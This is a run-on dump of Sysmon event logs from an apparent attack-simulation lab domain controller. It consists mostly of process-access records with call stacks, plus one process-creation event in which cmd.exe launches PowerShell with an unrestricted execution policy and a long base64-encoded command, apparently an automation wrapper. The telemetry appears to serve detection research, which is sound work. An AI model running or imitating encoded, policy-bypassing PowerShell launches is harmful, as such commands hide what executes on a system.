09:08:41.330{A5F018FF-272D-5F80-0C00-000000007E01}5721136C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000213Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:41.330{A5F018FF-272D-5F80-0C00-000000007E01}5721136C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000212Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:41.330{A5F018FF-272D-5F80-0C00-000000007E01}5721136C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000211Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:41.330{A5F018FF-272D-5F80-0C00-000000007E01}5721136C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000210Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:41.330{A5F018FF-272B-5F80-0B00-000000007E01}860928C:\Windows\system32\lsass.exe{A5F018FF-272E-5F80-1400-000000007E01}1348C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+11c6e|C:\Windows\system32\lsasrv.dll+1e0a8|C:\Windows\system32\lsasrv.dll+1d2d1|C:\Windows\system32\lsasrv.dll+1bb00|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000209Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:41.330{A5F018FF-272B-5F80-0B00-000000007E01}860928C:\Windows\system32\lsass.exe{A5F018FF-272E-5F80-1400-000000007E01}1348C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+11c6e|C:\Windows\system32\lsasrv.dll+1a4e6|C:\Windows\system32\lsasrv.dll+1ba8f|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000208Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:41.330{A5F018FF-272D-5F80-0C00-000000007E01}5721136C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000207Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:41.330{A5F018FF-272D-5F80-0C00-000000007E01}5721136C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000206Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:41.330{A5F018FF-272D-5F80-0C00-000000007E01}5721136C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000205Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:41.330{A5F018FF-2724-5F80-0500-000000007E01}6401156C:\Windows\system32\csrss.exe{A5F018FF-2899-5F80-0103-000000007E01}2988C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x8000000000000000204Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:41.330{A5F018FF-2899-5F80-0003-000000007E01}14765008C:\Windows\system32\cmd.exe{A5F018FF-2899-5F80-0103-000000007E01}2988C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\system32\cmd.exe+f1e1|C:\Windows\system32\cmd.exe+11a37|C:\Windows\system32\cmd.exe+cb0d|C:\Windows\system32\cmd.exe+c295|C:\Windows\system32\cmd.exe+f916|C:\Windows\system32\cmd.exe+1510d|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x8000000000000000203Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:41.336{A5F018FF-2899-5F80-0103-000000007E01}2988C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe10.0.14393.206 (rs1_release.160915-0644)Windows PowerShellMicrosoft® Windows® Operating SystemMicrosoft CorporationPowerShell.EXEPowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA=C:\Users\Administrator\ATTACKRANGE\Administrator{A5F018FF-2899-5F80-038A-110000000000}0x118a030HighMD5=097CE5761C89434367598B34FE32893B,SHA256=BA4038FD20E474C047BE8AAD5BFACDB1BFC1DDBE12F803F473B7918D8D819436,IMPHASH=CAEE994F79D85E47C06E5FA9CDEAE453{A5F018FF-2899-5F80-0003-000000007E01}1476C:\Windows\System32\cmd.exeC:\Windows\system32\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA= 10341000x8000000000000000202Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:41.330{A5F018FF-272B-5F80-0B00-000000007E01}860928C:\Windows\system32\lsass.exe{A5F018FF-272E-5F80-1400-000000007E01}1348C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+1b05d|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000201Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:41.330{A5F018FF-2899-5F80-FF02-000000007E01}12403984C:\Windows\system32\conhost.exe{A5F018FF-2899-5F80-0003-000000007E01}1476C:\Windows\system32\cmd.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000200Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:41.330{A5F018FF-272D-5F80-0C00-000000007E01}5721136C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000199Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:41.330{A5F018FF-272D-5F80-0C00-000000007E01}5721136C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000198Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:41.330{A5F018FF-272D-5F80-0C00-000000007E01}5721136C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000197Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 